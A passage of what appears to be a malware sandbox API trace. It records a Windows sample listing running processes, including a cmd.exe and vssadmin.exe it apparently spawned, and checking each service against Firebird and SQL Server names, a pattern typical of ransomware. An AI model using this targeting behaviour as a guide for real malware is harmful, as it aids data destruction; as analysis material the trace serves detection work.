[0050.192] lstrlenW (lpString="asking_pennsylvania.exe") returned 23 [0050.192] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="headline.exe")) returned 1 [0050.192] lstrlenW (lpString="headline.exe") returned 12 [0050.192] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="army_unsigned.exe")) returned 1 [0050.192] lstrlenW (lpString="army_unsigned.exe") returned 17 [0050.192] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinedeborah.exe")) returned 1 [0050.192] lstrlenW (lpString="disciplinedeborah.exe") returned 21 [0050.192] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distribution-gif.exe")) returned 1 [0050.193] lstrlenW (lpString="distribution-gif.exe") returned 20 [0050.193] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tribunal.exe")) returned 1 [0050.193] lstrlenW (lpString="tribunal.exe") returned 12 [0050.193] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aafeof.exe")) returned 1 [0050.193] lstrlenW (lpString="aafeof.exe") returned 10 [0050.193] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharpdollarsvocational.exe")) returned 1 [0050.193] lstrlenW (lpString="sharpdollarsvocational.exe") returned 26 [0050.193] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="encryption.exe")) returned 1 [0050.194] lstrlenW (lpString="encryption.exe") returned 14 [0050.194] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0050.194] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0050.194] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="1с_.exe")) returned 1 [0050.194] lstrlenW (lpString="1с_.exe") returned 7 [0050.194] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0050.195] lstrlenW (lpString="cmd.exe") returned 7 [0050.195] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0050.195] lstrlenW (lpString="conhost.exe") returned 11 [0050.195] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0050.195] lstrlenW (lpString="vssadmin.exe") returned 12 [0050.195] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0050.195] lstrlenW (lpString="VSSVC.exe") returned 9 [0050.195] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0050.196] CloseHandle (hObject=0x208) returned 1 [0050.196] Sleep (dwMilliseconds=0x1f4) [0051.224] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x590028 [0051.224] EnumServicesStatusExW (in: hSCManager=0x590028, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0051.224] GetLastError () returned 0xea [0051.224] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x123e) returned 0x607b80 [0051.224] EnumServicesStatusExW (in: hSCManager=0x590028, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x607b80, cbBufSize=0x123e, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x607b80, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0051.225] CloseServiceHandle (hSCObject=0x590028) returned 1 [0051.225] lstrlenW (lpString="Appinfo") returned 7 [0051.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0051.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0051.225] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0051.225] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0051.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0051.225] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0051.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0051.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0051.225] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0051.225] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0051.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0051.226] lstrlenW (lpString="AudioSrv") returned 8 [0051.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0051.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0051.226] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0051.226] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0051.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0051.226] lstrlenW (lpString="BFE") returned 3 [0051.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0051.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0051.226] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0051.226] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0051.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0051.226] lstrlenW (lpString="CryptSvc") returned 8 [0051.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0051.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0051.226] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0051.226] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0051.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0051.226] lstrlenW (lpString="CscService") returned 10 [0051.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0051.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0051.226] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0051.226] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0051.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0051.226] lstrlenW (lpString="DcomLaunch") returned 10 [0051.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0051.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0051.226] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0051.226] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0051.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0051.226] lstrlenW (lpString="Dhcp") returned 4 [0051.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0051.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0051.227] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0051.227] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0051.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0051.227] lstrlenW (lpString="Dnscache") returned 8 [0051.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0051.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0051.227] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0051.227] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0051.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0051.227] lstrlenW (lpString="DPS") returned 3 [0051.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0051.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0051.227] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0051.227] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0051.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0051.227] lstrlenW (lpString="eventlog") returned 8 [0051.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0051.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0051.227] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0051.227] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0051.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0051.227] lstrlenW (lpString="EventSystem") returned 11 [0051.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0051.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0051.227] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0051.227] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0051.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0051.227] lstrlenW (lpString="gpsvc") returned 5 [0051.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0051.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0051.228] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0051.228] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0051.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0051.228] lstrlenW (lpString="iphlpsvc") returned 8 [0051.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0051.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0051.228] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0051.228] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0051.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0051.228] lstrlenW (lpString="LanmanServer") returned 12 [0051.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0051.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0051.228] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0051.228] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0051.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0051.228] lstrlenW (lpString="LanmanWorkstation") returned 17 [0051.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0051.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0051.228] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0051.228] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0051.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0051.228] lstrlenW (lpString="lmhosts") returned 7 [0051.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0051.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0051.228] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0051.228] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0051.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0051.228] lstrlenW (lpString="MMCSS") returned 5 [0051.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0051.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0051.228] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0051.228] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0051.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0051.229] lstrlenW (lpString="MpsSvc") returned 6 [0051.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0051.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0051.229] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0051.229] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0051.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0051.229] lstrlenW (lpString="Netman") returned 6 [0051.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0051.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0051.229] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0051.229] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0051.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0051.229] lstrlenW (lpString="netprofm") returned 8 [0051.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0051.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0051.229] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0051.229] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0051.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0051.229] lstrlenW (lpString="NlaSvc") returned 6 [0051.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0051.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0051.229] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0051.229] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0051.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0051.229] lstrlenW (lpString="nsi") returned 3 [0051.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0051.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0051.230] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0051.230] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0051.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0051.230] lstrlenW (lpString="PcaSvc") returned 6 [0051.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0051.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0051.230] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0051.230] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0051.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0051.230] lstrlenW (lpString="PlugPlay") returned 8 [0051.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0051.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0051.230] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0051.230] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0051.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0051.230] lstrlenW (lpString="Power") returned 5 [0051.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0051.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0051.230] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0051.230] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0051.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0051.230] lstrlenW (lpString="ProfSvc") returned 7 [0051.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0051.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0051.230] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0051.230] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0051.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0051.230] lstrlenW (lpString="RpcEptMapper") returned 12 [0051.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0051.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0051.230] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0051.230] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0051.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0051.231] lstrlenW (lpString="RpcSs") returned 5 [0051.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0051.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0051.231] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0051.231] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0051.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0051.231] lstrlenW (lpString="SamSs") returned 5 [0051.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0051.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0051.231] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0051.231] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0051.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0051.231] lstrlenW (lpString="Schedule") returned 8 [0051.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0051.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0051.231] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0051.231] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0051.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0051.231] lstrlenW (lpString="SENS") returned 4 [0051.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0051.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0051.231] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0051.231] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0051.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0051.231] lstrlenW (lpString="ShellHWDetection") returned 16 [0051.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0051.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0051.231] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0051.231] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0051.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0051.231] lstrlenW (lpString="Spooler") returned 7 [0051.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0051.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0051.231] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0051.232] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0051.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0051.232] lstrlenW (lpString="SysMain") returned 7 [0051.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0051.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0051.232] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0051.232] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0051.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0051.232] lstrlenW (lpString="Themes") returned 6 [0051.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0051.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0051.232] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0051.232] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0051.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0051.232] lstrlenW (lpString="TrkWks") returned 6 [0051.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0051.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0051.232] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0051.232] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0051.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0051.232] lstrlenW (lpString="UxSms") returned 5 [0051.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0051.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0051.232] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0051.232] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0051.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0051.232] lstrlenW (lpString="VSS") returned 3 [0051.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0051.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0051.232] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0051.232] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0051.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0051.232] lstrlenW (lpString="WdiServiceHost") returned 14 [0051.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0051.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0051.233] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0051.233] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0051.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0051.233] lstrlenW (lpString="WdiSystemHost") returned 13 [0051.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0051.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0051.233] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0051.233] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0051.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0051.233] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0051.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0051.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0051.233] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0051.233] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0051.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned 